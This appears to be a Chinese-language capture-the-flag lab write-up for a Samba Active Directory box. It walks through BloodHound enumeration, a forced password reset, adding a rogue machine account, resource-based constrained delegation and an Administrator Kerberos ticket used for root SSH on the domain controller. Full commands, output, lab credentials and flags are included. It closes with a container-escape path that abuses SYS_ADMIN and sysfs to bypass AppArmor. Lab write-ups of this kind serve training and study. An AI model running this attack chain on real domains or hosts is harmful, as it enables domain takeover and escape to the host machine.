5e2af5b15fe220aa94c5f024aad4d79a1159f76f0fcbe19a717531602e94b01881e1af45a544a2c0bb5adada7ca92e354935e062adb6b8cc33b56423092b6346f5c64c14d8a635a7fe8e4480dfe89d254d4cceaaf068e64f33ea02eef7cffcca3bd74af6938fea51ed1c6de51e9d703a183c73493ce0edc74b08143a297ba5d2e9a8400ac2ed082ed51daa54a1d777b95069ee507ad45a11e05b35d7395f29e2576d29fcc86e2b1b627209bde0ff1d7b5a6a4dc638372053b44645fa163838538e50d8c4c757e1f0c72f7ec281bcbcfb87e2d465b56927af1c5725735d3db6c6cae6c3fae21472c7ba11efaec76c828020809cc8ac92c7e7d90b6f3e36b5cedf3473c144d455933dcf9777efae8af846d7e97d8edf37a7fa474eff8929c2c6ec8f127bfd67060ca925a7b8a0ddfd32edb0ae3941db78af5daee64b9173d4dab8416665a1513b030ca6d86b6ad0a936fec4f7cd31cc1867b88740496c272a8bd6dab0e47e07387220e970b3536befde77dcd303fbeafdd55daf32e1ca6:Lemon@2026

bloodhound收集下域内信息,这里正常版本会有报错,让ai修一下

┌──(root㉿MJ)-[/tmp/test/goad/BloodHound-simple]
└─# pc -q python3 bloodhound.py --zip -c All -w 1 --disable-pooling --auth-method simple -d corp.local -u lemon -dc dc01.corp.local --dns-tcp -ns 172.31.20.20
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
Password:
INFO: Found AD domain: corp.local
INFO: Connecting to LDAP server: dc01.corp.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.corp.local
INFO: Found 34 users
INFO: Found 42 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 36 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 1 workers
INFO: Querying computer: dc01.corp.local
INFO: Done in 00M 05S
INFO: Compressing output into 20261029190504_bloodhound.zip

最关键的lemon能强制改yliken的密码,yliken对DC有GenericWrite,利用路径就很明显了,lemon改yliken的密码,然后拿yliken身份打RBCD或者影子凭证(没试)

Pasted image 20261029190955.png

改密码

┌──(root㉿MJ)-[/tmp/test/goad/BloodHound-simple]
└─# pc -q impacket-changepasswd 'corp.local/yliken@172.31.20.20' -altuser 'corp.local/lemon' -altpass 'Lemon@2026' -newpass 'NewP@ssw0rd2026!' -reset -protocol ldap -dc-ip 172.31.20.20
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Setting the password of corp.local\yliken as corp.local\lemon
[*] Password was changed successfully for CN=yliken,CN=Users,DC=corp,DC=local

加机器账户

┌──(root㉿MJ)-[/tmp/test/goad/BloodHound-simple]
└─# pc -q impacket-addcomputer 'corp.local/yliken:NewP@ssw0rd2026!' -computer-name 'EVILPC$' -computer-pass 'EvilPC_Pass123!' -dc-ip 172.31.20.20
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account EVILPC$ with password EvilPC_Pass123!.

加委派(这里impacket一直不成功,有点问题)

┌──(root㉿MJ)-[/tmp/test/goad/BloodHound-simple]
└─# pc -q bloodyAD -d corp.local -u yliken -p 'NewP@ssw0rd2026!' --host 172.31.20.20 add rbcd 'DC01$' 'EVILPC$'
[!] No security descriptor has been returned, a new one will be created
[+] EVILPC$ can now impersonate users on DC01$ via S4U2Proxy
[+] e.g. badS4U2proxy 'kerberos+pw://corp.local\yliken:NewP%40ssw0rd2026%21@172.31.20.20/?serverip=172.31.20.20' 'HOST/DC01$@corp.local' 'Administrator@corp.local'

拿域管票据(samba一堆狗问题)

┌──(root㉿MJ)-[/tmp/test/goad/BloodHound-simple]
└─# pc -q kinit -V 'EVILPC$' <<< 'EvilPC_Pass123!'
Using default cache: /tmp/krb5cc_0
Using principal: EVILPC$@CORP.LOCAL
Password for EVILPC$@CORP.LOCAL:
Authenticated to Kerberos v5

┌──(root㉿MJ)-[/tmp/test/goad/BloodHound-simple]
└─# export KRB5CCNAME=/tmp/krb5cc_0

┌──(root㉿MJ)-[/tmp/test/goad/BloodHound-simple]
└─# pc -q kvno -I Administrator -P --out-cache /tmp/admin-host.ccache host/dc01.corp.local
host/dc01.corp.local@CORP.LOCAL: kvno = 2

┌──(root㉿MJ)-[/tmp/test/goad/BloodHound-simple]
└─# export KRB5CCNAME=FILE:/tmp/admin-host.ccache

┌──(root㉿MJ)-[/tmp/test/goad/BloodHound-simple]
└─# ssh -o 'ProxyCommand=socat - SOCKS5-CONNECT:127.0.0.1:1081:dc01.corp.local:22' -o GSSAPIAuthentication=yes -o GSSAPITrustDns=no root@dc01.corp.local

root@dc01:~# id
uid=0(root) gid=0(root) groups=0(root)

也不知道为什么这里pc -q一直上不去

flag

udf-shell$ cat user.txt
LAB{6ce1e052d435f0e80b2ad9b471619b0f8620f75c}
udf-shell$ pwd
/root/33796e82bcc388d6c46789fabc3461f0user

root@dc01:~# cat root.txt
LAB{4e2450db9d7bdfe7c3c3b307f2369e26a6e4b3aa}

非预期逃逸

之前在配置dc01时

dc_data:/var/lib/samba:用于持久化 Samba AD 数据库、SYSVOL、账号改密和 RBCD 状态 rw

dc_root:/root:多余产物,可删但是不影响利用路径 rw

SYS_ADMIN:Samba 初始化 SYSVOL 时,需要向命名卷写 security.NTACL 扩展属性

容器内写入 /root/evil.sh
        ↓
宿主机实际文件位于 /var/lib/docker/volumes/ctflab_dc_root/_data/evil.sh
        ↓
利用 SYS_ADMIN 访问可写的内核 sysfs 节点(new mount API绕过AppArmor)
        ↓
让宿主机内核按宿主路径执行该文件

按照这个利用路径即使去掉dc_root的挂载或改成ro,一样可以通过dc_data来逃逸,而dc_data的rw是必须的,所以导致了逃逸到宿主的可能性,绕过AppArmor的手法有被提到过

https://github.com/azqzazq1/LID

475136f804c396ed3d03174c7d56ac03.png